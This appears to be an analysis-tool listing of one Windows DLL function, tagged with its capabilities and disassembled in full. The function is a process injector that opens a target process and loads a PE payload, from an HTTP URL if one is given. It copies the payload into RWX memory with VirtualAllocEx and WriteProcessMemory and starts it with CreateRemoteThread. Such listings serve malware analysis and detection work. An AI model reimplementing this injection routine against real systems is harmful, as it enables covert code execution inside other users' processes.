Function at 0x1800035b0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xe0
mov rax, qword [0x18000b040]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov rsi, r9
mov qword [rbp - 0x79], r9
mov rdi, rdx
mov qword [rbp - 0x69], rdx
mov qword [rbp - 0x49], r9
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r13, rax
mov eax, 4
mov ebx, eax
cmp qword [rdi + 0x10], rax
cmovb rbx, qword [rdi + 0x10]
mov rcx, rdi
mov r14, qword [rdi + 0x18]
cmp r14, 0xf
jbe 0x18000361c
mov rcx, qword [rdi]
mov r8, rbx
cmp rbx, rax
cmova r8, rax
lea rdx, str.http
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x180003640
cmp rbx, 4
je 0x180003735
mov eax, dword [str.nima]
mov dword [rbp - 9], eax
movzx eax, byte [0x1800078f0]
mov byte [rbp - 5], al
xorps xmm0, xmm0
movups xmmword [rbp - 4], xmm0
movups xmmword [rbp + 0xc], xmm0
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp - 0x29], xmm1
mov qword [rbp - 0x19], rax
mov rdx, rdi
cmp r14, 0xf
jbe 0x180003677
mov rdx, qword [rdi]
lea r8, [rbp - 9]
lea rcx, [rbp - 0x29]
call fcn.180002ce0
nop
mov rcx, qword [rbp - 0x21]
sub rcx, qword [rbp - 0x29]
call fcn.180005810
mov r15, rax
mov r8, qword [rbp - 0x21]
mov rdx, qword [rbp - 0x29]
sub r8, rdx
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov rbx, qword [rbp - 0x21]
sub rbx, qword [rbp - 0x29]
lea rdx, str.decoded_file_zise:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800050d0
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x1800052a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp - 0x29]
test rcx, rcx
je 0x180003827
mov rdx, qword [rbp - 0x19]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000371c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000371c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800057a0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x29], xmm0
xor r14d, r14d
mov qword [rbp - 0x19], r14
jmp 0x18000382a
lea rdx, str.___load_from_http
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800050d0
mov rcx, rax
lea rdx, [0x1800052a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x41], xmm0
mov qword [rbp - 0x31], rax
mov rdx, rdi
lea rcx, [rbp - 0x29]
call fcn.180001d30
mov rdx, rax
lea rcx, [rbp - 0x41]
call fcn.180002b00
nop
mov rcx, qword [rbp - 0x39]
sub rcx, qword [rbp - 0x41]
call fcn.180005810
mov r15, rax
mov r8, qword [rbp - 0x39]
mov rdx, qword [rbp - 0x41]
sub r8, rdx
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov rbx, qword [rbp - 0x39]
sub rbx, qword [rbp - 0x41]
lea rdx, str.decoded_file_zise:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800050d0
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x1800052a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp - 0x41]
test rcx, rcx
je 0x180003827
mov rdx, qword [rbp - 0x31]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003811
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180003811
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800057a0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x41], xmm0
xor r14d, r14d
mov qword [rbp - 0x31], r14
jmp 0x18000382a
xor r14d, r14d
mov eax, 0x5a4d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp word [r15], ax
je 0x180003915
lea rdx, str.nonono
call fcn.1800050d0
mov rcx, rax
lea rdx, [0x1800052a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r15
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800050d0
mov rcx, rax
lea rdx, [0x1800052a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r15
call fcn.1800057a0
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1800038be
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800038b9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180003cb8
mov rcx, r8
call fcn.1800057a0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x180003907
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x180003902
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180003cbf
mov rcx, r8
call fcn.1800057a0
mov qword [rsi + 0x10], r14
mov eax, 0xffffffff
jmp 0x180003c86
lea rdx, str.___load__success_
call fcn.1800050d0
mov rcx, rax
lea rdx, [0x1800052a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movsxd r12, dword [r15 + 0x3c]
add r12, r15
mov eax, 0x8664
cmp word [r12 + 4], ax
je 0x1800039e0
mov rcx, r15
call fcn.1800057a0
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x18000398c
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rdi]
jb 0x180003987
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180003cb8
mov rcx, r8
call fcn.1800057a0
mov byte [rdi], 0
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], r14
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1800039d5
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rsi]
jb 0x1800039d0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180003cbf
mov rcx, r8
call fcn.1800057a0
mov qword [rsi + 0x10], r14
xor eax, eax
jmp 0x180003c86
mov qword [rbp - 0x51], r14
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp - 0x61], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x59], rax
mov r8d, dword [r12 + 0x50]
add r8, 0x18
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rbp - 0x69], rax
test rax, rax
je 0x180003949
mov r9d, dword [r12 + 0x54]
mov qword [rsp + 0x20], r14
mov r8, r15
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [r12 + 0x14]
add rax, 0x28
cmp word [r12 + 6], 0
je 0x180003aa2
lea rbx, [rax + r12]
mov rsi, qword [rbp - 0x69]
mov eax, dword [rbx]
test eax, eax
je 0x180003a88
mov r9d, eax
mov r8d, dword [rbx + 4]
add r8, r15
mov edx, dword [rbx - 4]
add rdx, rsi
mov qword [rsp + 0x20], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
inc r14d
add rbx, 0x28
movzx eax, word [r12 + 6]
cmp r14d, eax
jne 0x180003a60
mov rsi, qword [rbp - 0x79]
mov rbx, qword [rbp - 0x69]
mov edx, dword [r12 + 0x50]
add rdx, rbx
xor r12d, r12d
mov qword [rsp + 0x20], r12
lea r9d, [r12 + 0x18]
lea r8, [rbp - 0x61]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, r15
call fcn.1800057a0
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
mov qword [rsp + 0x20], r12
mov r9d, 0x1000
lea r8, [0x180003cd0]
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rbx
mov r9, r14
xor r8d, r8d
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r15, rax
test rax, rax
jne 0x180003bed
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x180003b9d
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x180003b98
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180003cb8
mov rcx, r8
call fcn.1800057a0
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x180003be6
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x180003be1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180003cbf
mov rcx, r8
call fcn.1800057a0
xor eax, eax
jmp 0x180003c82
lea rcx, str.___Loading_routine_successfully_completed._Cleaning_up__n
call fcn.180001fa0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x180003c3d
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x180003c38
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180003cb8
mov rcx, r8
call fcn.1800057a0
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x180003c82
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x180003c7d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180003cbf
mov rcx, r8
call fcn.1800057a0
mov qword [rsi + 0x10], r12
mov byte [rsi], 0
mov qword [rsi + 0x18], 0xf
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.180005780
mov rbx, qword [rsp + 0x120]
add rsp, 0xe0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3